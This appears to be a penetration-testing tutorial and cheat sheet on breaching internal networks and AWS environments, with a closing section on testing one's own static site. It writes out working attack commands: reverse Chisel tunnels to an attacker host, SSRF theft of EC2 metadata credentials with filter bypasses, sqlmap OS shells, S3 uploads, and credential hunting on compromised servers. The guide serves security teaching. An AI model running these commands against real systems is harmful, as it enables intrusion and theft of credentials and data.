Skip to content

Internal Networks, Cloud Security & Attack Surface - Complete Guide

Table of Contents

  1. Internal Networks & VPN Misconceptions
  2. Real-World Attack Paths
  3. The Internal Network Goal
  4. Cloud vs Traditional Hosting
  5. Testing Static Sites on Major Platforms

Internal Networks & VPN Misconceptions

The HTB vs Reality Gap

HTB Scenario: - You're given the internal IP (e.g., 10.10.11.132) - VPN config drops you inside the network - Target is immediately accessible

Real World: - Internal IPs are NOT accessible from internet - You must find a way IN first - No one hands you network access

Finding & Attacking Internal Networks

Entry Methods

1. Compromise Edge Device 

# Attack VPN server itself
nmap -p 443,1194,4500 company-ranges
searchsploit "pulse secure"
searchsploit "fortinet"

# Common VPN endpoints to look for
vpn.company.com
remote.company.com
ssl.company.com
gateway.company.com

2. Pivot Through Compromised Host 

Internet → Webserver (public IP) → Internal network

Get shell on public server, use it as jump point: 

# From compromised public server
ip route show          # See what networks it can reach
arp -a                # Discover local network hosts
netstat -rn           # Check routing table

# Scan internal ranges
nmap 10.0.0.0/8
nmap 172.16.0.0/12
nmap 192.168.0.0/16

3. Physical Access - Walk into office, plug into ethernet - Rogue WiFi access point - Social engineering (tailgating)

4. Supply Chain - Compromise vendor with network access - Third-party remote support tools - Managed service provider credentials

Discovery Process

External Recon (Before You're Inside): 

# Find VPN endpoints
shodan search "org:CompanyName ssl"
shodan search "Fortinet" "company"
shodan search "Pulse Secure"

# DNS enumeration
subfinder -d company.com
amass enum -d company.com
dnsenum company.com

# SSL certificate inspection (reveals internal names)
curl -vI https://company.com 2>&1 | grep -i "subject:"
openssl s_client -connect company.com:443 -showcerts

Post-Compromise Recon (After Initial Foothold): 

# Network discovery from compromised host
ip route show          # Network ranges
ip addr show          # Network interfaces
arp -a                # ARP cache (who's talking?)
netstat -rn           # Routing table
cat /etc/hosts        # Host mappings
cat /etc/resolv.conf  # DNS servers

# Active scanning
for i in {1..254}; do ping -c 1 192.168.1.$i & done
nmap -sn 10.10.0.0/16  # Ping sweep
nmap -p- 10.10.1.0/24  # Full port scan

# Service enumeration
nmap -sV -sC 10.10.1.100  # Version detection + scripts

The Typical Attack Flow

1. External enumeration → Find weak point
2. Initial compromise    → Low-priv shell on edge system
3. Privilege escalation  → Get admin/root
4. Network reconnaissance → Map internal network
5. Lateral movement      → Attack internal targets
6. Exfiltration/Objective

Pivoting Techniques

SSH Tunneling: 

# Dynamic SOCKS proxy
ssh -D 8080 user@compromised-host

# Use with proxychains
echo "socks5 127.0.0.1 8080" >> /etc/proxychains.conf
proxychains nmap 10.10.1.0/24
proxychains firefox  # Browse internal sites

# Local port forwarding (access specific service)
ssh -L 8080:internal-server:80 user@compromised-host
# Now localhost:8080 → internal-server:80

# Remote port forwarding (reverse tunnel)
ssh -R 8080:localhost:80 user@your-vps
# Compromised host can't reach you directly, so reverse it

Metasploit Autoroute: 

# After getting meterpreter session
run autoroute -s 10.10.1.0/24  # Add route through session
run autoroute -p               # Print routing table

# Now you can scan through the session
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.1.0/24
set SESSION 1
run

Chisel (HTTP tunnel): 

# On your attacker machine
./chisel server -p 8000 --reverse

# On compromised host
./chisel client your-ip:8000 R:socks
# Creates reverse SOCKS proxy on your machine

Real-World Attack Paths

Scenario Clarification: alexsusanu.com Example

Common Misunderstanding

WRONG: "The VPN is attached to alexsusanu.com, so I attack the VPN first"

RIGHT: VPN is separate infrastructure. You need ANY way into the internal network.

Real-World Setups

Setup 1: Separate VPN Infrastructure 

alexsusanu.com          → 203.0.113.10 (public webserver)
vpn.alexsusanu.com      → 203.0.113.50 (VPN endpoint)
admin.alexsusanu.com    → 10.10.1.100  (internal only)

Attack path: 1. Find VPN endpoint 2. Compromise VPN (exploit or stolen creds) 3. Access admin.alexsusanu.com

Setup 2: No Direct VPN Route (Most Common) 

alexsusanu.com          → 203.0.113.10 (public web + DB)
admin.alexsusanu.com    → 10.10.1.100  (internal)

Attack path: 1. Exploit alexsusanu.com (SQLi, RCE, etc.) 2. Get shell on server 3. Server can reach internal network (dual-homed) 4. Pivot through compromised server to admin panel

Setup 3: Split DNS 

# External DNS (public internet)
alexsusanu.com → 203.0.113.10

# Internal DNS (only works from inside network)
admin.alexsusanu.com → 10.10.1.100
alexsusanu.com → 10.10.1.5 (internal version)

Practical Attack Example

# 1. Recon public site
nmap -sV -sC alexsusanu.com
nikto -h https://alexsusanu.com
gobuster dir -u https://alexsusanu.com -w /usr/share/wordlists/dirb/common.txt

# 2. Find SQLi vulnerability
sqlmap -u "https://alexsusanu.com/product?id=1" --batch --dbs

# 3. Escalate to RCE
sqlmap -u "https://alexsusanu.com/product?id=1" --os-shell

# 4. Check network interfaces from shell
ip addr show
# eth0: 203.0.113.10 (public)
# eth1: 10.10.1.50 (internal)

# 5. Scan internal network
nmap 10.10.1.0/24

# 6. Access internal admin panel
curl http://admin.alexsusanu.com
# Works! Server can reach it

# 7. Set up pivot for your machine
ssh -D 8080 user@alexsusanu.com
# OR use reverse shell + chisel

# 8. Access through pivot
proxychains firefox
# Browse to http://admin.alexsusanu.com

The Internal Network Goal

Key Realization

You don't care about VPN specifically.

You care about: Getting access to the internal network.

VPN is just ONE METHOD. Others: - Compromise public-facing server (most common) - Stolen credentials - Exposed services - Client-side attacks - Physical access

Why Public Server Compromise Works

When you exploit alexsusanu.com, the server typically has multiple network interfaces:

ip addr show

# Output example:
1: lo: ...
2: eth0: inet 203.0.113.10/24  # Public internet
3: eth1: inet 10.10.1.50/24    # Internal network

# Routing table
ip route show
default via 203.0.113.1 dev eth0
10.10.0.0/16 dev eth1  # Can reach internal network

The server IS your bridge - it sits in both networks (DMZ or dual-homed).

The Real Question

Not: "Where's the VPN?"

"What can I compromise that has access to the internal network?"

Targets: - Web server - Mail server - API endpoint - Employee laptop (phishing) - VoIP phone - Printer (yes, really) - IoT devices - Jump boxes - Anything dual-homed

Practical Pivot Setup

# You exploited alexsusanu.com, have shell

# Check connectivity
ping -c 1 10.10.1.100  # admin server
curl http://admin.alexsusanu.com  # Works!

# Option 1: SSH Dynamic Port Forwarding
ssh -D 8080 compromised@alexsusanu.com

# On your machine
proxychains4 -f /etc/proxychains4.conf nmap 10.10.1.0/24
proxychains4 firefox
# Access http://admin.alexsusanu.com through browser

# Option 2: Metasploit pivot
meterpreter > run autoroute -s 10.10.1.0/24

# Option 3: Chisel reverse tunnel
# Your machine
./chisel server -p 9000 --reverse

# Compromised server
./chisel client YOUR_IP:9000 R:socks

# Option 4: Port forwarding specific service
ssh -L 8080:10.10.1.100:80 user@alexsusanu.com
# localhost:8080 now reaches internal admin panel

Cloud vs Traditional Hosting

Static Site on S3/GitHub Pages

What You CAN'T Do

alexsusanu.com on S3/GitHub Pages:
├─> No server to compromise
├─> No shell to get
├─> No internal network connection
└─> Just static files served by CDN

No pivot point if it's ONLY static files.

But Real Infrastructure Is Never Just One Thing

Frontend: alexsusanu.com (S3 static)
   │
   ├─> API: api.alexsusanu.com (Lambda/EC2)
   │     │
   │     └─> Database: RDS (private subnet)
   │
   └─> Admin: admin.alexsusanu.com (EC2 private subnet)

NOW you have attack surface.

AWS/Cloud-Specific Attacks

1. Misconfigured S3 Buckets

# Check public access (no credentials needed)
aws s3 ls s3://alexsusanu-bucket --no-sign-request
aws s3 ls s3://company-backups --no-sign-request

# Common naming patterns to try
aws s3 ls s3://company --no-sign-request
aws s3 ls s3://company-prod --no-sign-request
aws s3 ls s3://company-backup --no-sign-request
aws s3 ls s3://www-company --no-sign-request

# Download everything if readable
aws s3 sync s3://company-backups . --no-sign-request

# Upload malicious file if writable
echo "<script>alert('XSS')</script>" > xss.html
aws s3 cp xss.html s3://company-bucket/xss.html --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket company-bucket --no-sign-request

Tools: 

# S3 enumeration
s3scanner scan --buckets-file wordlist.txt

# Cloud enumeration
cloud_enum -k company

2. EC2 Metadata Service Exploitation

If you get SSRF or RCE on EC2 instance:

# Steal IAM credentials from metadata service
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get role name
ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# Returns JSON with:
# - AccessKeyId
# - SecretAccessKey  
# - Token

# Export to environment
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Now use AWS CLI with stolen creds
aws sts get-caller-identity  # Who am I?
aws s3 ls                    # List buckets
aws ec2 describe-instances   # List instances
aws rds describe-db-instances # List databases
aws iam list-roles           # List roles
aws secretsmanager list-secrets  # Secrets!

SSRF to metadata: 

# If you find SSRF vulnerability
# Target URL parameter: url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Bypass filters
http://169.254.169.254/latest/meta-data/  # Direct
http://[::ffff:169.254.169.254]/          # IPv6
http://169.254.169.254.nip.io/            # DNS trick
http://169.0254.169.0254/                 # Decimal encoding

3. Lambda Function Exploitation

# If you compromise Lambda function
# Check environment variables (often contain secrets)
env

# Lambda has IAM role attached
# Steal credentials same way as EC2 metadata

# Use credentials to escalate
aws lambda list-functions
aws lambda get-function --function-name admin-panel
# Download function code

aws lambda invoke --function-name process-payment \
  --payload '{"amount": 0.01}' output.txt

4. Public RDS Snapshots

# Search for public snapshots
aws rds describe-db-snapshots --include-public \
  --query "DBSnapshots[?PubliclyAccessible=='true']"

# Restore to your own account
aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier stolen-db \
  --db-snapshot-identifier arn:aws:rds:...

# Wait for it to come online, then connect
mysql -h stolen-db.xyz.us-east-1.rds.amazonaws.com -u admin -p

Attack Surface Differences

Traditional Hosting (VPS/Dedicated)

Attack Flow:
Internet → Exploit app → Shell on server → Network pivot → Internal resources

Example: 

# Exploit webapp
python exploit.py http://target.com

# Get reverse shell
nc -lvnp 4444

# Enumerate from shell
whoami
ip addr
netstat -tulpn
ps aux

# Pivot to internal network
ssh -D 8080 localhost
proxychains nmap 10.10.0.0/16

Cloud Hosting (AWS/Azure/GCP)

Attack Flow:
Internet → Exploit app → Steal IAM/cloud creds → Cloud API access → Internal resources

Example: 

# Exploit webapp with SSRF
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role"

# Get temporary credentials
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Use cloud API to access internal resources
aws ec2 describe-instances | jq '.Reservations[].Instances[] | {IP: .PrivateIpAddress, Name: .Tags[]?}'
aws rds describe-db-instances | jq '.DBInstances[] | {Endpoint: .Endpoint.Address}'
aws s3 ls
aws secretsmanager get-secret-value --secret-id prod/db/password

No network pivot needed - you're using their own cloud API.

Real-World AWS Attack Chain

1. Find SSRF in web app running on EC2
   ↓
2. Use SSRF to hit metadata service
   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver-role
   ↓
3. Steal temporary AWS credentials (AccessKey, SecretKey, SessionToken)
   ↓
4. Configure AWS CLI with stolen creds
   export AWS_ACCESS_KEY_ID=ASIA...
   export AWS_SECRET_ACCESS_KEY=...
   export AWS_SESSION_TOKEN=...
   ↓
5. Enumerate with AWS CLI
   aws s3 ls                          # Find buckets
   aws ec2 describe-instances         # Find servers
   aws rds describe-db-instances      # Find databases
   aws iam get-role --role-name webserver-role  # Check permissions
   ↓
6. Overly permissive IAM role lets you:
   - Download source code from S3
   - Read database credentials from Secrets Manager
   - Snapshot RDS databases
   - Spin up instances in private subnets
   - Access other services
   ↓
7. Lateral movement via cloud services
   aws ec2 run-instances --subnet-id subnet-private ...  # Deploy in internal network
   aws rds create-db-snapshot --db-instance-identifier prod-db  # Copy database
   aws secretsmanager get-secret-value --secret-id admin-password

Common Cloud Misconfigurations

S3 Buckets: 

# Public read
{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::bucket/*"
}

# Public write (worse)
{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::bucket/*"
}

IAM Roles: 

// Overly permissive
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}

// Still bad
{
  "Effect": "Allow",
  "Action": "s3:*",
  "Resource": "*"
}

EC2 Security Groups: 

# Open to world
0.0.0.0/0 → 22/tcp (SSH)
0.0.0.0/0 → 3389/tcp (RDP)
0.0.0.0/0 → 3306/tcp (MySQL)

RDS: 

# Publicly accessible
aws rds describe-db-instances | jq '.DBInstances[] | select(.PubliclyAccessible==true)'

Cloud Enumeration Tools

# S3 bucket discovery
s3scanner scan --buckets-file wordlist.txt
cloud_enum -k company

# AWS enumeration (with creds)
prowler  # Security audit
ScoutSuite --provider aws

# Enumerate from compromised instance
aws ec2 describe-instances
aws s3 ls
aws iam get-user
aws sts get-caller-identity
aws secretsmanager list-secrets
aws lambda list-functions
aws rds describe-db-instances
aws dynamodb list-tables

Testing Static Sites on Major Platforms

Critical Distinction

YOUR attack surface ≠ Platform's infrastructure

You test YOUR code/config, not GitHub/AWS/Cloudflare.

What You Actually Test

1. Your Application Code

JavaScript Vulnerabilities: 

// DOM-based XSS
let userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
// Exploit: https://site.com#<img src=x onerror=alert(document.cookie)>

// Exposed API keys
const API_KEY = 'sk-proj-abc123def456...';  // Hardcoded - BAD
fetch(`https://api.service.com/data?key=${API_KEY}`);

// Insecure storage
localStorage.setItem('authToken', token);  // Vulnerable to XSS
// Better: httpOnly cookie

// Open redirect
window.location = params.get('redirect');  // No validation
// Exploit: ?redirect=https://evil.com

// Prototype pollution
let obj = {};
obj[userInput] = value;  // Can pollute Object.prototype

Testing: 

# Download site
wget -r -l 2 https://alexsusanu.com

# Extract all JavaScript
grep -r "<script" . | grep -oP 'src="\K[^"]+' > js-files.txt
while read url; do wget "$url"; done < js-files.txt

# Search for secrets
grep -r "api_key\|apikey\|secret\|password\|token" .
grep -r "AKIA" .  # AWS keys
grep -r "sk_live\|pk_live" .  # Stripe keys

# Check for vulnerable patterns
grep -r "innerHTML\|eval\|document.write" *.js
grep -r "localStorage.setItem.*token" *.js

# Library vulnerabilities
retire --js --jspath /path/to/site
npm audit  # If you have package.json

2. Your APIs/Backend

Your API is the real attack surface:

# Discover API endpoints from frontend
grep -r "fetch\|axios\|XMLHttpRequest" *.js | grep -oP 'https?://[^"]+' | sort -u

# Common API patterns
https://api.alexsusanu.com/v1/users
https://api.alexsusanu.com/graphql
https://alexsusanu.com/api/

# Test discovered APIs
nuclei -u https://api.alexsusanu.com
ffuf -u https://api.alexsusanu.com/v1/FUZZ -w api-wordlist.txt

# Check authentication
curl https://api.alexsusanu.com/admin/users
curl -H "Authorization: Bearer invalid" https://api.alexsusanu.com/user/data

# CORS misconfiguration
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: POST" \
     -I https://api.alexsusanu.com/admin/delete
# If returns: Access-Control-Allow-Origin: https://evil.com
# You can make requests from your domain

3. Your Domain Configuration

Subdomain Takeover: 

# Find subdomains
subfinder -d alexsusanu.com -o subs.txt
amass enum -d alexsusanu.com

# Check DNS
while read sub; do dig $sub; done < subs.txt

# Look for dangling CNAMEs
admin.alexsusanu.com CNAME old-app.herokuapp.com  # Deleted?
blog.alexsusanu.com CNAME myblog.wordpress.com    # Unclaimed?

# Takeover tools
subzy -targets subs.txt
subjack -w subs.txt -t 100 -timeout 30 -o results.txt

DNS Security: 

# Check SPF/DMARC (email spoofing)
dig alexsusanu.com TXT | grep spf
dig _dmarc.alexsusanu.com TXT

# Missing SPF = anyone can spoof email from your domain
# Weak SPF: "v=spf1 +all"  # Allows anyone

# Check DNSSEC
dig alexsusanu.com +dnssec

# Zone transfer (shouldn't work but sometimes does)
dig axfr @ns1.alexsusanu.com alexsusanu.com

4. Your Dependencies

Third-Party Scripts: 

<!-- You included these - YOUR responsibility -->
<script src="https://cdn.jquery.com/jquery-1.8.0.js"></script>  <!-- Old version! -->
<script src="https://unpkg.com/vulnerable-lib"></script>         <!-- Unknown version -->
<script src="https://sketchy-analytics.com/track.js"></script>  <!-- Malicious? -->

Testing: 

# Check loaded scripts in browser
# DevTools → Network → Filter: JS

# Check versions
curl https://cdn.jquery.com/jquery-1.8.0.js | head -5
# jQuery JavaScript Library v1.8.0  ← Search CVE database

# Subresource Integrity (SRI) check
grep -r "integrity=" index.html
# Should see: <script src="..." integrity="sha384-..." crossorigin="anonymous">

# CSP headers
curl -I https://alexsusanu.com | grep -i content-security-policy
# Missing = No XSS protection

5. Your Cloud Resources

If using AWS/GCP/Azure:

# S3 bucket naming patterns
# Usually: company-name, company-assets, company-backups, www-company
aws s3 ls s3://alexsusanu --no-sign-request
aws s3 ls s3://alexsusanu-backups --no-sign-request
aws s3 ls s3://alexsusanu-uploads --no-sign-request

# CloudFront distributions
# Check response headers for hints
curl -I https://alexsusanu.com
# X-Amz-Cf-Id: ... ← CloudFront
# Server: AmazonS3 ← Direct S3

# Certificate Transparency logs (find subdomains/infrastructure)
curl "https://crt.sh/?q=%.alexsusanu.com&output=json" | jq '.[].name_value' | sort -u

6. Your GitHub Repository

Source Code Exposure: 

# Is your repo public?
git clone https://github.com/yourusername/alexsusanu-site

# Search commit history for secrets
git log -p | grep -i "password\|api_key\|secret"
git log -p | grep "AKIA"  # AWS keys
git log -S "password" --all  # Search all branches

# Tools
trufflehog git https://github.com/yourusername/alexsusanu-site
gitleaks detect --source .

# Check .git directory exposure on live site
curl https://alexsusanu.com/.git/config
curl https://alexsusanu.com/.git/HEAD

# GitHub Actions secrets leakage
# Check workflow logs for accidental echo of secrets

What NOT to Test (Waste of Time)

Don't bother testing: - GitHub Pages infrastructure - AWS CloudFront CDN - Cloudflare edge servers - Google Cloud Platform infrastructure

Why: - Massive security teams - Bug bounty programs - Patched faster than you can find issues - You'll never get in

If you DO find something: - GitHub: https://bounty.github.com/ - AWS: https://aws.amazon.com/security/vulnerability-reporting/ - Google: https://bughunters.google.com/ - Cloudflare: https://hackerone.com/cloudflare

Practical Testing Workflow

# 1. Map YOUR infrastructure
subfinder -d alexsusanu.com -o subs.txt
httpx -l subs.txt -title -status-code -tech-detect

# Separate what's yours vs platform:
# alexsusanu.com → GitHub Pages (not yours)
# api.alexsusanu.com → Your EC2 (YOURS)
# admin.alexsusanu.com → Your server (YOURS)

# 2. Download and analyze static site
wget -r -l 2 https://alexsusanu.com
grep -r "api\|fetch\|axios" . > api-calls.txt
grep -r "password\|secret\|key" . > potential-secrets.txt

# 3. JavaScript analysis
retire --js --jspath alexsusanu.com/
# Check each JS file:
# - Hardcoded credentials
# - API endpoints
# - Vulnerable functions (innerHTML, eval)
# - Library versions

# 4. API enumeration (THE MAIN TARGET)
# Extract API URLs from JS
grep -roh "https://api\.alexsusanu\.com[^\"']*" . | sort -u > api-endpoints.txt

# Test each endpoint
while read endpoint; do
  echo "Testing: $endpoint"
  curl -v "$endpoint"
  curl -v -X POST "$endpoint"
  curl -v -H "Authorization: Bearer fake" "$endpoint"
done < api-endpoints.txt

# 5. DNS/subdomain security
dig alexsusanu.com ANY
dig _dmarc.alexsusanu.com TXT
subzy -targets subs.txt  # Takeover check

# 6. Cloud resource hunting
aws s3 ls s3://alexsusanu --no-sign-request
aws s3 ls s3://alexsusanu-prod --no-sign-request
aws s3 ls s3://alexsusanu-backups --no-sign-request

# 7. GitHub security
git clone https://github.com/user/alexsusanu-site
trufflehog git https://github.com/user/alexsusanu-site
gitleaks detect --source alexsusanu-site/

# 8. Configuration issues
# Check CSP
curl -I https://alexsusanu.com | grep -i content-security-policy

# Check CORS on YOUR API
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: DELETE" \
     -I https://api.alexsusanu.com/admin/users

# Check security headers
curl -I https://api.alexsusanu.com | grep -i "x-frame-options\|x-content-type-options\|strict-transport"

Attack Surface Summary

Static Site (GitHub Pages): 

✗ Can't exploit platform infrastructure
✓ Client-side vulnerabilities in YOUR JavaScript
✓ Exposed secrets in YOUR code
✓ Vulnerable dependencies YOU included
✓ YOUR API endpoints
✓ YOUR cloud resources
✓ YOUR domain configuration

Your APIs/Backend: 

✓ Authentication bypass
✓ Authorization flaws
✓ SQL injection
✓ SSRF
✓ RCE
✓ Business logic flaws
✓ Rate limiting issues
✓ CORS misconfigurations

Your Cloud Resources: 

✓ Public S3 buckets
✓ Exposed metadata services
✓ Overly permissive IAM roles
✓ Public RDS snapshots
✓ Secrets in environment variables
✓ Insecure security groups

Command Reference

Reconnaissance

# Subdomain enumeration
subfinder -d target.com -o subs.txt
amass enum -d target.com -o amass-subs.txt
assetfinder target.com

# Active probing
httpx -l subs.txt -title -status-code -tech-detect -o live-subs.txt
nmap -iL live-subs.txt -p 80,443,8080,8443

# DNS
dig target.com ANY
dig _dmarc.target.com TXT
dnsenum target.com

# Certificate transparency
curl "https://crt.sh/?q=%.target.com&output=json" | jq

# Web fingerprinting
whatweb target.com
wappalyzer target.com

Vulnerability Scanning

# General web scanning
nuclei -u https://target.com -severity critical,high
nikto -h target.com

# Directory bruteforce
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404

# Parameter fuzzing
ffuf -u https://target.com/api?FUZZ=test -w params.txt -mc 200

# SQLi
sqlmap -u "https://target.com/page?id=1" --batch --dbs

Cloud Enumeration

# S3
aws s3 ls s3://bucket-name --no-sign-request
s3scanner scan --buckets-file wordlist.txt

# AWS with stolen creds
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws iam list-users
aws secretsmanager list-secrets

# Metadata service (from compromised EC2/SSRF)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Pivoting

# SSH tunnels
ssh -D 8080 user@pivot-host  # SOCKS proxy
ssh -L 8080:internal-host:80 user@pivot-host  # Local forward
ssh -R 8080:localhost:80 user@your-vps  # Remote forward

# Chisel
./chisel server -p 8000 --reverse  # Your machine
./chisel client your-ip:8000 R:socks  # Compromised host

# Proxychains
echo "socks5 127.0.0.1 8080" >> /etc/proxychains.conf
proxychains nmap 10.10.1.0/24
proxychains firefox

# Metasploit
run autoroute -s 10.10.1.0/24

Post-Exploitation

# Network discovery
ip addr show
ip route show
arp -a
netstat -tulpn
cat /etc/hosts
cat /etc/resolv.conf

# Find credentials
grep -r "password" /var/www/
find / -name "*.conf" -exec grep -i "password" {} + 2>/dev/null
cat ~/.bash_history

# AWS creds from EC2
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
env | grep AWS

# Escalation
sudo -l
find / -perm -4000 2>/dev/null  # SUID binaries
getcap -r / 2>/dev/null  # Capabilities

Key Takeaways

  1. Internal networks aren't accessed via VPN by default - VPN is one entry method among many

  2. Most common entry: Compromise public-facing server - It's dual-homed and becomes your pivot point

  3. Cloud changes the game - Steal IAM credentials, use cloud API instead of network pivoting

  4. Static sites on major platforms - Test YOUR code/config/APIs, not the platform infrastructure

  5. The real question - "How do I get access to the internal network?" not "Where's the VPN?"

  6. Modern attacks - Chain multiple vulnerabilities: SSRF → Metadata → IAM creds → Cloud API → Internal resources

  7. Focus matters - Attack YOUR infrastructure, not GitHub/AWS/Google's. They're too hardened and have security teams.